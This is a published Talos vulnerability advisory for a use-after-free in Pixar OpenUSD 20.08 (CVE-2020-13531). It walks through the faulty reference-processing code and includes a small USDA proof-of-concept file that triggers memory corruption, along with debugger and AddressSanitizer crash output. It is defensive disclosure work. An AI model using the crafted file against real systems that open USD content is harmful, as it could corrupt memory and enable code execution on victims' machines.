Talos Vulnerability Report

TALOS-2020-1145

Pixar OpenUSD SDF layer path remote code execution

NOVEMBER 12, 2020

CVE NUMBER

CVE-2020-13531

Summary

A use-after-free vulnerability exists in a way Pixar OpenUSD 20.08 processes reference paths textual USD files. A specially crafted file can trigger the reuse of a freed memory which can result in further memory corruption and arbitrary code execution. To trigger this vulnerability, the victim needs to open an attacker-provided malformed file.

Tested Versions

Pixar OpenUSD 20.08
Apple macOS Apple macOS Catalina 10.15.6

Product URLs

https://openusd.org

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

OpenUSD stands for Open Universal Scene Descriptor and is a software suite by Pixar that facilitates, among other things, interchange of arbitrary 3-D scenes that may be composed of many elemental assets.

Most notably, USD and its backing file format `usd` are used on Apple iOS and macOS as part of the ModelIO framework supporting SceneKit and ARKit for sharing and displaying 3-D scenes in, for example, augmented reality applications. On macOS, these files are automatically rendered to generate thumbnails, while on iOS they can be shared via iMessage and opened with user interaction.

Along with a binary representation, USD 3-D models can come in a text based format for a more human readable representation. A key concept in creating USD models and scenes is layering. Different models are composed into a scene as layers. In short, this can be achieved through references or payloads.

While processing a list of references for a particular prim, the following code is executed as part of scene composition:

```
// Reference and payload arcs are composed in essentially the same way.
template <class RefOrPayloadType, PcpArcType ARC_TYPE>
static void
        _EvalRefOrPayloadArcs(PcpNodeRef node,                                          [1]
                  Pcp_PrimIndexer *indexer,
                  const std::vector<RefOrPayloadType> &arcs,
                  const PcpSourceArcInfoVector &infoVec)
{
const SdfPath & srcPath = node.GetPath();                                                  [2]

for (size_t arcNum=0; arcNum < arcs.size(); ++arcNum) {                                [3]
    const RefOrPayloadType & refOrPayload = arcs[arcNum];
    const PcpSourceArcInfo& info = infoVec[arcNum];
    const SdfLayerHandle & srcLayer = info.layer;
    const SdfLayerOffset & srcLayerOffset = info.layerOffset;
    SdfLayerOffset layerOffset = refOrPayload.GetLayerOffset();
```

The function takes the current prim that is being processed as a node at [1] and then iterates through it's composition arcs (references or payloads) at [3]. Before reaching the for loop at [3] , the SDF path of the current node is saved in `srcPath` at [2]. The vulnerability here lies in the fact that further node processint in the for loop can and will change the node and possibly it's actuall path. When this happens, `srcPath` becomes a stale reference to a now freed object which can further lead to memory corruption.

The following PoC triggers this vulnerability:

```
#usda 1.0
def "C" (
    references = [
            </A>,
            </B> ( scale = 0)

            ]
    )
{
}
```

The above USDA file defines a prim `C` with two refferences with paths `/A` and `/B`. We can observe the use-after-free in the debugger:

```
Thread 1 "test" hit Breakpoint 3, pxrInternal_v0_20__pxrReserved__::_EvalRefOrPayloadArcs<pxrInternal_v0_20__pxrReserved__::SdfReference,
(pxrInternal_v0_20__pxrReserved__::PcpArcType)4> (node=..., indexer=0x7fffffffc7a0, arcs=std::vector of length 2, capacity 2 = {...},
infoVec=std::vector of length 2, capacity 2 = {...}) at ./pxr/usd/pcp/primIndex.cpp:1784
1784            PCP_INDEXING_MSG(
(gdb) bt 5
#0  pxrInternal_v0_20__pxrReserved__::_EvalRefOrPayloadArcs<pxrInternal_v0_20__pxrReserved__::SdfReference,
(pxrInternal_v0_20__pxrReserved__::PcpArcType)4> (node=..., indexer=0x7fffffffc7a0, arcs=std::vector of length 2, capacity 2 = {...},
infoVec=std::vector of length 2, capacity 2 = {...})
at ./pxr/usd/pcp/primIndex.cpp:1784
#1  0x00007ffff56f2450 in pxrInternal_v0_20__pxrReserved__::_EvalNodeReferences (index=0x7ffffffca30, node=..., indexer=0x7fffffffc7a0) at
./pxr/usd/pcp/primIndex.cpp:1982
#2  0x00007ffff56fbfcb in pxrInternal_v0_20__pxrReserved__::Pcp_BuildPrimIndex (site=..., rootSite=..., ancestorRecursionDepth=0,
evaluateImpliedSpecializes=true, evaluateVariants=true, rootNodeShouldContributeSpecs=true, previousFrame=0x0, inputs=...,
outputs=0x7ffffffca30)
at ./pxr/usd/pcp/primIndex.cpp:4457
#3  0x00007ffff56fc41e in pxrInternal_v0_20__pxrReserved__::PcpComputePrimIndex (primPath=..., layerStack=..., inputs=...,
outputs=0x7ffffffca30, resolver=0x7ffff448c880 <pxrInternal_v0_20__pxrReserved__::(anonymous namespace)::_GetResolver()::resolver>)
at ./pxr/usd/pcp/primIndex.cpp:4521
#4  0x00007ffff5648745 in pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::_ComputeIndex (this=0x555555678050,
parentIndex=0x7fffe8003458, path=..., checkCache=false) at ./pxr/usd/pcp/cache.cpp:1286
(More stack frames follow...)
(gdb) p srcPath
$29 = (const
pxrInternal_v0_20__pxrReserved__::SdfPath &) @0x5555556789e0:
{<boost::operators_impl::totally_ordered<pxrInternal_v0_20__pxrReserved__::SdfPath, pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath>,
boost::operators_impl::operators_detail::false_t>> = {<boost::operators_impl::totally_ordered1<pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath> >> =
{<boost::operators_impl::less_than_comparable1<pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::equality_comparable1<pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath> > >> =
{<boost::operators_impl::equality_comparable1<pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath> >> =
{<boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath>> = {<No data fields>}, <No data fields>},
<No data fields>}, <No data fields>}, <No data fields>}, _primPart = {_poolHandle = {
  value = 513}}, _propPart = {_poolHandle = {value = 0}}}
```

Above , we hit the breakpoint just after the for loop is entered and we can see the contents of `srcPath` and it's backing `primPart->_poolHandle` and `_propPart->_poolHandle` which represent the buffers allocated for this object. Continuing the execution for one loop hits the breakpoint again:

```
Thread 1 "test" hit Breakpoint 3, pxrInternal_v0_20__pxrReserved__::_EvalRefOrPayloadArcs<pxrInternal_v0_20__pxrReserved__::SdfReference,
(pxrInternal_v0_20__pxrReserved__::PcpArcType)4> (node=..., indexer=0x7fffffffc7a0, arcs=std::vector of length 2, capacity 2 = {...},
infoVec=std::vector of length 2, capacity 2 = {...}) at ./pxr/usd/pcp/primIndex.cpp:1784
1784            PCP_INDEXING_MSG(
(gdb) p srcPath
$31 = (const pxrInternal_v0_20__pxrReserved__::SdfPath &) @0x5555556789e0:
{<boost::operators_impl::totally_ordered<pxrInternal_v0_20__pxrReserved__::SdfPath, pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath>,
boost::operators_impl::operators_detail::false_t>> = {<boost::operators_impl::totally_ordered1<pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath> >> =
{<boost::operators_impl::less_than_comparable1<pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::equality_comparable1<pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath> > >> =
{<boost::operators_impl::equality_comparable1<pxrInternal_v0_20__pxrReserved__::SdfPath,
boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath> >> =
{<boost::operators_impl::operators_detail::empty_base<pxrInternal_v0_20__pxrReserved__::SdfPath>> = {<No data fields>}, <No data fields>},
<No data fields>}, <No data fields>}, <No data fields>}, _primPart = {_poolHandle = {
value = 4118758784}}, _propPart = {_poolHandle = {value = 32767}}}
```

Now, pool handles for `_primPart` and `propPart` show erroneous values and indeed, comparing them to values of current `node.GetPath()` shows that `srcPath` is a stale reference. The underlying object has been freed. In order to actually cause memory corruption, this stale referece needs to be reused after it has been freed. This is the purpose of `scale = 0` property of the `/B` reference. This comes into play with the following code:

```
        // Validate layer offset in original reference or payload (not the
        // composed layer offset stored in refOrPayload).
        if (!srcLayerOffset.IsValid() ||
            !srcLayerOffset.GetInverse().IsValid()) {
            PcpErrorInvalidReferenceOffsetPtr err =
                PcpErrorInvalidReferenceOffset::New();
            err->rootSite = PcpSite(node.GetRootNode().GetSite());
            err->layer      = srcLayer;
            err->sourcePath = srcPath;
            err->assetPath  = info.authoredAssetPath;
            err->targetPath = refOrPayload.GetPrimPath();
            err->offset     = srcLayerOffset;
            indexer->RecordError(err);

            // Don't set fail, just reset the offset.
            layerOffset = SdfLayerOffset();
        }
```

The above code tries to validate `scale` and `offset` properties of the reference by calling `IsValid` and `GetInverse().IsValid()`. To be valid, scale and offset , and their inverse, need to be valid double values (not NaN or Infinity). Since `scale` is 0, it's inverse will be set to Infinity which is not considered valid and the body of the `if` statement it entered. In it, an error record is constructed which actually re-uses the stale `srcPath` causing memory corruption. Due to reference counting and complex object interactions, what seems like a simple read of a stale reference can in fact result in spurious heap writes and further memory corruption as the use of the stale reference continues. Given the expressiveness and recursive nature of USDA language, it is possible to achieve control over the freed memory which can ultimately result in arbitrary code execution.

Crash Information

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==439715==ERROR: AddressSanitizer: SEGV on unknown address 0x0000087c0008 (pc 0x7f42e95818ad bp 0x7ffcafa88000 sp 0x7ffcafa87cc0 T0)
==439715==The signal is caused by a WRITE memory access.
#0 0x7f42e95818ac in pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrInternal_v0_20__pxrReserved__::Sdf_PathPrimTag, 24u, 8u,
16384u>::_GetPtr(unsigned int, unsigned int) ./pxr/usd/sdf/pool.h:231
#1 0x7f42e95818ac in pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrInternal_v0_20__pxrReserved__::Sdf_PathPrimTag, 24u, 8u,
16384u>::Handle::GetPtr() const ./pxr/usd/sdf/pool.h:107
#2 0x7f42e95818ac in
pxrInternal_v0_20__pxrReserved__::Sdf_PathNodeHandleImpl<pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrInternal_v0_20__pxrReserved__::Sdf_Pa
thPrimTag, 24u, 8u, 16384u>::Handle, true, pxrInternal_v0_20__pxrReserved__::Sdf_PathNode const>::get() const ./pxr/usd/sdf/path.h:148
#3 0x7f42e95818ac in
pxrInternal_v0_20__pxrReserved__::Sdf_PathNodeHandleImpl<pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrInternal_v0_20__pxrReserved__::Sdf_Pa
thPrimTag, 24u, 8u, 16384u>::Handle, true, pxrInternal_v0_20__pxrReserved__::Sdf_PathNode const>::_AddRef() const ./pxr/usd/sdf/path.h:189
#4 0x7f42e95818ac in
pxrInternal_v0_20__pxrReserved__::Sdf_PathNodeHandleImpl<pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrInternal_v0_20__pxrReserved__::Sdf_Pa
thPrimTag, 24u, 8u, 16384u>::Handle, true, pxrInternal_v0_20__pxrReserved__::Sdf_PathNode
const>::Sdf_PathNodeHandleImpl(pxrInternal_v0_20__pxrReserved__::Sdf_PathNodeHandleImpl<pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrIntern
al_v0_20__pxrReserved__::Sdf_PathPrimTag, 24u, 8u, 16384u>::Handle, true, pxrInternal_v0_20__pxrReserved__::Sdf_PathNode const> const&)
./pxr/usd/sdf/path.h:106
#5 0x7f42e95818ac in
pxrInternal_v0_20__pxrReserved__::Sdf_PathNodeHandleImpl<pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrInternal_v0_20__pxrReserved__::Sdf_Pa
thPrimTag, 24u, 8u, 16384u>::Handle, true, pxrInternal_v0_20__pxrReserved__::Sdf_PathNode const>::operator=
(pxrInternal_v0_20__pxrReserved__::Sdf_PathNodeHandleImpl<pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrInternal_v0_20__pxrReserved__::Sdf_P
athPrimTag, 24u, 8u, 16384u>::Handle, true, pxrInternal_v0_20__pxrReserved__::Sdf_PathNode const> const&) ./pxr/usd/sdf/path.h:121
#6 0x7f42e7d98acc in pxrInternal_v0_20__pxrReserved__::SdfPath::operator=(pxrInternal_v0_20__pxrReserved__::SdfPath const&)
./pxr/usd/sdf/path.h:289
#7 0x7f42e7d98acc in _EvalRefOrPayloadArcs<pxrInternal_v0_20__pxrReserved__::SdfReference, (pxrInternal_v0_20__pxrReserved__::PcpArcType)4>
./pxr/usd/pcp/primIndex.cpp:1818
#8 0x7f42e7d840fa in _EvalNodeReferences ./pxr/usd/pcp/primIndex.cpp:1991
#9 0x7f42e7d840fa in Pcp_BuildPrimIndex ./pxr/usd/pcp/primIndex.cpp:4466
#10 0x7f42e7daf87d in pxrInternal_v0_20__pxrReserved__::PcpComputePrimIndex(pxrInternal_v0_20__pxrReserved__::SdfPath const&,
pxrInternal_v0_20__pxrReserved__::TfWeakPtr<pxrInternal_v0_20__pxrReserved__::PcpLayerStack> const&,
pxrInternal_v0_20__pxrReserved__::PcpPrimIndexInputs const&, pxrInternal_v0_20__pxrReserved__::PcpPrimIndexOutputs*,
pxrInternal_v0_20__pxrReserved__::ArResolver*) ./pxr/usd/pcp/primIndex.cpp:4530
#11 0x7f42e7b4d605 in
pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::_ComputeIndex(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*,
pxrInternal_v0_20__pxrReserved__::SdfPath, bool) ./pxr/usd/pcp/cache.cpp:1286
#12 0x7f42e7b35b07 in void std::__invoke_impl<void, void (pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::*&)
(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*, pxrInternal_v0_20__pxrReserved__::SdfPath, bool),
pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer*&, pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*&,
pxrInternal_v0_20__pxrReserved__::SdfPath&, bool&>(std::__invoke_memfun_deref, void
(pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::*&)(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*,
pxrInternal_v0_20__pxrReserved__::SdfPath, bool), pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer*&,
pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*&, pxrInternal_v0_20__pxrReserved__::SdfPath&, bool&)
/usr/include/c++/9/bits/invoke.h:73
#13 0x7f42e7b35b07 in std::__invoke_result<void (pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::*&)
(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*, pxrInternal_v0_20__pxrReserved__::SdfPath, bool),
pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer*&, pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*&,
pxrInternal_v0_20__pxrReserved__::SdfPath&, bool&>::type std::__invoke<void
(pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::*&)(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*,
pxrInternal_v0_20__pxrReserved__::SdfPath, bool), pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer*&,
pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*&, pxrInternal_v0_20__pxrReserved__::SdfPath&, bool&>(void
(pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::*&)(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*,
pxrInternal_v0_20__pxrReserved__::SdfPath, bool), pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer*&,
pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*&, pxrInternal_v0_20__pxrReserved__::SdfPath&, bool&)
/usr/include/c++/9/bits/invoke.h:95
#14 0x7f42e7b35b07 in void std::_Bind<void (pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::*
(pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer*, pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*,
pxrInternal_v0_20__pxrReserved__::SdfPath, bool))(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*,
pxrInternal_v0_20__pxrReserved__::SdfPath, bool)>::__call<void, , 0ul, 1ul, 2ul, 3ul>(std::tuple<>&&, std::_Index_tuple<0ul, 1ul, 2ul, 3ul>)
/usr/include/c++/9/functional:400
#15 0x7f42e7b35b07 in void std::_Bind<void (pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::*
(pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer*, pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*,
pxrInternal_v0_20__pxrReserved__::SdfPath, bool))(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*,
pxrInternal_v0_20__pxrReserved__::SdfPath, bool)>::operator()<, void>() /usr/include/c++/9/functional:484
#16 0x7f42e7b35b07 in pxrInternal_v0_20__pxrReserved__::WorkDispatcher::_InvokerTask<std::_Bind<void
(pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::*(pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer*,
pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*, pxrInternal_v0_20__pxrReserved__::SdfPath, bool))
(pxrInternal_v0_20__pxrReserved__::PcpPrimIndex const*, pxrInternal_v0_20__pxrReserved__::SdfPath, bool)> >::execute()
./pxr/base/work/dispatcher.h:145
#17 0x7f42e5f5fea4 in tbb::internal::custom_scheduler<tbb::internal::IntelSchedulerTraits>::local_wait_for_all(tbb::task&, tbb::task*)
../../src/tbb/custom_scheduler.h:501
#18 0x7f42e5fceb70 in tbb::task::wait_for_all() ./build/include/tbb/task.h:760
#19 0x7f42e5fceb70 in pxrInternal_v0_20__pxrReserved__::WorkDispatcher::Wait() ./pxr/base/work/dispatcher.cpp:52
#20 0x7f42e5fcaaf0 in void std::__invoke_impl<void, void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::* const&)(),
pxrInternal_v0_20__pxrReserved__::WorkDispatcher* const&>(std::__invoke_memfun_deref, void
(pxrInternal_v0_20__pxrReserved__::WorkDispatcher::* const&)(), pxrInternal_v0_20__pxrReserved__::WorkDispatcher* const&)
/usr/include/c++/9/bits/invoke.h:73
#21 0x7f42e5fcaaf0 in std::__invoke_result<void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::* const&)(),
pxrInternal_v0_20__pxrReserved__::WorkDispatcher* const&>::type std::__invoke<void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::*
const&)(), pxrInternal_v0_20__pxrReserved__::WorkDispatcher* const&>(void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::* const&)(),
pxrInternal_v0_20__pxrReserved__::WorkDispatcher* const&) /usr/include/c++/9/bits/invoke.h:95
#22 0x7f42e5fcaaf0 in void std::_Bind<void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::*
(pxrInternal_v0_20__pxrReserved__::WorkDispatcher*))()>::__call_c<void, , 0ul>(std::tuple<>&&, std::_Index_tuple<0ul>) const
/usr/include/c++/9/functional:410
#23 0x7f42e5fcaaf0 in void std::_Bind<void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::*
(pxrInternal_v0_20__pxrReserved__::WorkDispatcher*))()>::operator()<, void>() const /usr/include/c++/9/functional:495
#24 0x7f42e5fcaaf0 in tbb::interface7::internal::delegated_function<std::_Bind<void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::*
(pxrInternal_v0_20__pxrReserved__::WorkDispatcher*))()> const>::operator()() const ./build/include/tbb/task_arena.h:62
#25 0x7f42e5f5aeac in tbb::interface7::internal::task_arena_base::internal_execute(tbb::interface7::internal::delegate_base&) const
../../src/tbb/arena.cpp:811
#26 0x7f42e5fc7b9a in void tbb::interface7::task_arena::execute<std::_Bind<void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::*
(pxrInternal_v0_20__pxrReserved__::WorkDispatcher*))()> >(std::_Bind<void (pxrInternal_v0_20__pxrReserved__::WorkDispatcher::*
(pxrInternal_v0_20__pxrReserved__::WorkDispatcher*))()> const&) ./build/include/tbb/task_arena.h:272
#27 0x7f42e5fc7b9a in pxrInternal_v0_20__pxrReserved__::WorkArenaDispatcher::Wait() ./pxr/base/work/arenaDispatcher.cpp:100
#28 0x7f42e7b1a4e8 in pxrInternal_v0_20__pxrReserved__::PcpCache::_ParallelIndexer::RunAndWait() ./pxr/usd/pcp/cache.cpp:1216
#29 0x7f42e7b1a4e8 in
pxrInternal_v0_20__pxrReserved__::PcpCache::_ComputePrimIndexesInParallel(std::vector<pxrInternal_v0_20__pxrReserved__::SdfPath,
std::allocator<pxrInternal_v0_20__pxrReserved__::SdfPath> > const&,
std::vector<std::shared_ptr<pxrInternal_v0_20__pxrReserved__::PcpErrorBase>,
std::allocator<std::shared_ptr<pxrInternal_v0_20__pxrReserved__::PcpErrorBase> > >*,
pxrInternal_v0_20__pxrReserved__::PcpCache::_UntypedIndexingChildrenPredicate,
pxrInternal_v0_20__pxrReserved__::PcpCache::_UntypedIndexingPayloadPredicate, char const*, char const*) ./pxr/usd/pcp/cache.cpp:1425
#30 0x7f42ea0d8df1 in ComputePrimIndexesInParallel<pxrInternal_v0_20__pxrReserved__::(anonymous namespace)::_NameChildrenPred,
pxrInternal_v0_20__pxrReserved__::UsdStage::_IncludePayloadsPredicate> ./pxr/usd/pcp/cache.h:340
#31 0x7f42ea0d8df1 in
pxrInternal_v0_20__pxrReserved__::UsdStage::_ComposePrimIndexesInParallel(std::vector<pxrInternal_v0_20__pxrReserved__::SdfPath,
std::allocator<pxrInternal_v0_20__pxrReserved__::SdfPath> > const&, std::__cxx11::basic_string<char, std::char_traits<char>,
std::allocator<char> > const&, pxrInternal_v0_20__pxrReserved__::Usd_InstanceChanges*) ./pxr/usd/usd/stage.cpp:4262
#32 0x7f42ea752d9c in
pxrInternal_v0_20__pxrReserved__::UsdStage::_InstantiateStage(pxrInternal_v0_20__pxrReserved__::TfRefPtr<pxrInternal_v0_20__pxrReserved__::S
dfLayer> const&, pxrInternal_v0_20__pxrReserved__::TfRefPtr<pxrInternal_v0_20__pxrReserved__::SdfLayer> const&,
```

```
pxrInternal_v0_20__pxrReserved__::ArResolverContext const&, pxrInternal_v0_20__pxrReserved__::UsdStagePopulationMask const&,
pxrInternal_v0_20__pxrReserved__::UsdStage::InitialLoadSet) ./pxr/usd/usd/stage.cpp:649
#33 0x7f42ea8763d6 in pxrInternal_v0_20__pxrReserved__::Usd_StageOpenRequest::Manufacture() ./pxr/usd/usd/stage.cpp:965
#34 0x7f42ea877f33 in pxrInternal_v0_20__pxrReserved__::TfRefPtr<pxrInternal_v0_20__pxrReserved__::UsdStage>
pxrInternal_v0_20__pxrReserved__::UsdStage::_OpenImpl<pxrInternal_v0_20__pxrReserved__::TfWeakPtr<pxrInternal_v0_20__pxrReserved__::SdfLayer
> >(pxrInternal_v0_20__pxrReserved__::UsdStage::InitialLoadSet,
pxrInternal_v0_20__pxrReserved__::TfWeakPtr<pxrInternal_v0_20__pxrReserved__::SdfLayer> const&) ./pxr/usd/usd/stage.cpp:993
#35 0x7f42ea7553bc in
pxrInternal_v0_20__pxrReserved__::UsdStage::Open(pxrInternal_v0_20__pxrReserved__::TfWeakPtr<pxrInternal_v0_20__pxrReserved__::SdfLayer>
const&, pxrInternal_v0_20__pxrReserved__::UsdStage::InitialLoadSet) ./pxr/usd/usd/stage.cpp:1025
#36 0x7f42ea755cf0 in pxrInternal_v0_20__pxrReserved__::UsdStage::Open(std::__cxx11::basic_string<char, std::char_traits<char>,
std::allocator<char> > const&, pxrInternal_v0_20__pxrReserved__::UsdStage::InitialLoadSet) ./pxr/usd/usd/stage.cpp:854
#37 0x5629ff683d54 in pxrInternal_v0_20__pxrReserved__::test(char*) ./build/test.cpp:15
#38 0x5629ff68366c in main ./build/test.cpp:21
#39 0x7f42e80890b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#40 0x5629ff6838dd in _start (./build/test+0x28dd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ./pxr/usd/sdf/pool.h:231 in
pxrInternal_v0_20__pxrReserved__::Sdf_Pool<pxrInternal_v0_20__pxrReserved__::Sdf_PathPrimTag, 24u, 8u, 16384u>::_GetPtr(unsigned int,
unsigned int)
==439715==ABORTING
```

Timeline

2020-09-01 - Vendor Disclosure
2020-11-12 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS PREVIOUS REPORT NEXT REPORT

TALOS-2020-1125 TALOS-2020-1120